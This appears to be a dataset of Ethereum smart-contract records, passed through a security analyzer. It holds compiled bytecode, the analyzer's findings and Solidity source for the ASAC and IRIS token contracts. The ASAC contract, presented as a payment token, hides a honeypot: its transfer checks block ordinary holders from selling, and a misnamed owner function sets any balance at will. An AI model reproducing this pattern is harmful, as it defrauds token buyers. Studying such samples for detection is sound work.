165b8061111157506015546001600160a01b0385811691161480159061111157506015546001600160a01b03848116911614155b1561111e57506000611198565b6015546001600160a01b03858116911614801561114957506014546001600160a01b03848116911614155b1561115b57600854600c55600954600d555b6015546001600160a01b03848116911614801561118657506014546001600160a01b03858116911614155b1561119857600a54600c55600b54600d555b61099e84848484611425565b600081848411156111c85760405162461bcd60e51b81526004016105e591906119db565b5060006111d58486611c81565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610656573d6000803e3d6000fd5b600060065482111561127f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e5565b6000611289611453565b90506112958382611476565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112e4576112e4611c22565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561133857600080fd5b505afa15801561134c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113709190611c98565b8160018151811061138357611383611c22565b6001600160a01b0392831660209182029290920101526014546113a99130911684610b44565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e2908590600090869030904290600401611cb5565b600060405180830381600087803b1580156113fc57600080fd5b505af1158015611410573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611432576114326114b8565b61143d8484846114e6565b8061099e5761099e600e54600c55600f54600d55565b60008060006114606115dd565b909250905061146f8282611476565b9250505090565b600061129583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061161d565b600c541580156114c85750600d54155b156114cf57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114f88761164b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061152a90876116a8565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461155990866116ea565b6001600160a01b03891660009081526002602052604090205561157b81611749565b6115858483611793565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115ca91815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e800006115f88282611476565b82101561161457505060065492678ac7230489e8000092509050565b90939092509050565b6000818361163e5760405162461bcd60e51b81526004016105e591906119db565b5060006111d58486611d26565b60008060008060008060008060006116688a600c54600d546117b7565b9250925092506000611678611453565b9050600080600061168b8e87878761180c565b919e509c509a509598509396509194505050505091939550919395565b600061129583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a4565b6000806116f78385611c69565b9050838110156112955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e5565b6000611753611453565b90506000611761838361185c565b3060009081526002602052604090205490915061177e90826116ea565b30600090815260026020526040902055505050565b6006546117a090836116a8565b6006556007546117b090826116ea565b6007555050565b60008080806117d160646117cb898961185c565b90611476565b905060006117e460646117cb8a8961185c565b905060006117fc826117f68b866116a8565b906116a8565b9992985090965090945050505050565b600080808061181b888661185c565b90506000611829888761185c565b90506000611837888861185c565b90506000611849826117f686866116a8565b939b939a50919850919650505050505050565b60008261186b5750600061066b565b60006118778385611d48565b9050826118848583611d26565b146112955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e5565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461076d57600080fd5b8035611911816118f1565b919050565b6000602080838503121561192957600080fd5b823567ffffffffffffffff8082111561194157600080fd5b818501915085601f83011261195557600080fd5b813581811115611967576119676118db565b8060051b604051601f19603f8301168101818110858211171561198c5761198c6118db565b6040529182528482019250838101850191888311156119aa57600080fd5b938501935b828510156119cf576119c085611906565b845293850193928501926119af565b98975050505050505050565b600060208083528351808285015260005b81811015611a08578581018301518582016040015282016119ec565b81811115611a1a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a4357600080fd5b8235611a4e816118f1565b946020939093013593505050565b600080600060608486031215611a7157600080fd5b8335611a7c816118f1565b92506020840135611a8c816118f1565b929592945050506040919091013590565b600060208284031215611aaf57600080fd5b8135611295816118f1565b600060208284031215611acc57600080fd5b5035919050565b60008060008060808587031215611ae957600080fd5b5050823594602084013594506040840135936060013592509050565b8035801515811461191157600080fd5b600080600060408486031215611b2a57600080fd5b833567ffffffffffffffff80821115611b4257600080fd5b818601915086601f830112611b5657600080fd5b813581811115611b6557600080fd5b8760208260051b8501011115611b7a57600080fd5b602092830195509350611b909186019050611b05565b90509250925092565b60008060408385031215611bac57600080fd5b8235611bb7816118f1565b91506020830135611bc7816118f1565b809150509250929050565b600060208284031215611be457600080fd5b61129582611b05565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c6257611c62611c38565b5060010190565b60008219821115611c7c57611c7c611c38565b500190565b600082821015611c9357611c93611c38565b500390565b600060208284031215611caa57600080fd5b8151611295816118f1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d055784516001600160a01b031683529383019391830191600101611ce0565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d4357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d6257611d62611c38565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207abca74a8eccdaedef4de6f8f1b7a3e8521ae1151e3dfecb7e145db4861f5d2a64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,548 |
0x93b5f52cbe50be12ce6b89ca6e28525ca579cbf9
|
/*
ASAC, using smart contracts based on Ethereum's platform, provides fast and secure transactions for both shared and group payments.
By introducing Token-ASAC , such transactions will be done in low-cost and high-speed
When using any of the ASAC Coin Co. Ltd. services you are agreeing to the following conditions in full.
ASAC Coin is a not backed or value guaranteed by any financial institution; when purchasing ASAC Coins the customer assumes all risk the ASAC Coins may become worthless in value.
Customers should research and consider the risks before purchasing any ASAC Coins. The company makes absolutely no guarantee about the future value of the ASAC Coins purchased.
The customer must send any ASAC Coin payments to the company from an address owned by the customer.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract asaccoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820fe7dc37061ea08177992911a93e70acbccd9b257f9edc725f0db37480a0c8aa064736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,549 |
0xa3a205324988ec0ef09f0d2b3a605a4b936d09ea
|
pragma solidity ^0.4.17;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require (!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require (paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
Unpause();
return true;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool){
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_who, _value);
Transfer(_who, address(0), _value);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
uint256 public oneCoin = 10 ** 18;
uint256 public maxTokens = 2000 * (10**6) * oneCoin;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply.add(_amount) <= maxTokens);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0X0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// ***********************************************************************************
// *************************** END OF THE BASIC **************************************
// ***********************************************************************************
contract IrisToken is MintableToken, BurnableToken, Pausable {
// Coin Properties
string public name = "IRIS";
string public symbol = "IRIS";
uint256 public decimals = 18;
// Special propeties
bool public tradingStarted = false;
/**
* @dev modifier that throws if trading has not started yet
*/
modifier hasStartedTrading() {
require(tradingStarted);
_;
}
/**
* @dev Allows the owner to enable the trading. This can not be undone
*/
function startTrading() public onlyOwner {
tradingStarted = true;
}
/**
* @dev Allows anyone to transfer the Change tokens once trading has started
* @param _to the recipient address of the tokens.
* @param _value number of tokens to be transfered.
*/
function transfer(address _to, uint _value) hasStartedTrading whenNotPaused public returns (bool) {
return super.transfer(_to, _value);
}
/**
* @dev Allows anyone to transfer the Change tokens once trading has started
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) hasStartedTrading whenNotPaused public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function emergencyERC20Drain( ERC20 oddToken, uint amount ) public {
oddToken.transfer(owner, amount);
}
}
contract IrisTokenPrivatSale is Ownable, Pausable{
using SafeMath for uint256;
// The token being sold
IrisToken public token;
uint256 public decimals = 18;
uint256 public oneCoin = 10**decimals;
address public multiSig;
// ***************************
// amount of raised money in wei
uint256 public weiRaised;
// amount of raised tokens
uint256 public tokenRaised;
// number of participants in presale
uint256 public numberOfPurchasers = 0;
event HostEther(address indexed buyer, uint256 value);
event TokenPlaced(address indexed beneficiary, uint256 amount);
event SetWallet(address _newWallet);
event SendedEtherToMultiSig(address walletaddress, uint256 amountofether);
function setWallet(address _newWallet) public onlyOwner {
